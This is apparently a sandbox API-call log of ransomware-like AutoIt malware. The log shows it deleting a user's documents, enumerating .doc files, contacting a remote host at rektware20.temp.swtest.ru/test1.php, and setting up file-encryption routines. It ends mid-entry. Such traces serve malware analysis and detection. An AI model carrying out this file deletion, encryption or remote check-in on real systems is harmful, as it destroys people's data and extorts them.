[0073.253] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\quEppq7ypnjAKMfy.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\queppq7ypnjakmfy.ods")) returned 1 [0073.271] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.272] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0073.272] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.272] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.272] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.272] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.283] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.283] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.284] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.284] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.284] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0073.284] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.284] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.284] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.286] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.286] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.287] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.287] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.287] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.287] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.287] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.287] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.287] CloseHandle (hObject=0x0) returned 0 [0073.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.287] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.288] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="41DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DOti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ti7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7.doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.289] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="doc", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.289] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.289] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.289] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.289] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.289] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.289] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.289] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.289] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.290] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0073.290] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.290] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.290] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.290] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.290] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.290] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.290] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.291] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.291] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.291] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.291] CloseHandle (hObject=0x0) returned 0 [0073.292] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0073.292] TranslateMessage (lpMsg=0x130f164) returned 0 [0073.292] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0073.292] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0073.295] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0073.295] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0073.295] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.295] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\T41DOti7.doc", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0073.295] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.296] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.296] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.296] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.296] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.296] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.296] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.296] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.296] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.296] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.296] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.296] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.297] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.297] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.297] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.297] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.297] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.297] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.297] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.297] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.297] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.298] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0073.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.298] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.298] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.298] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.298] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.299] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.299] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.299] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.299] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.299] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.299] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.299] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.300] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.300] PeekMessageW (in: 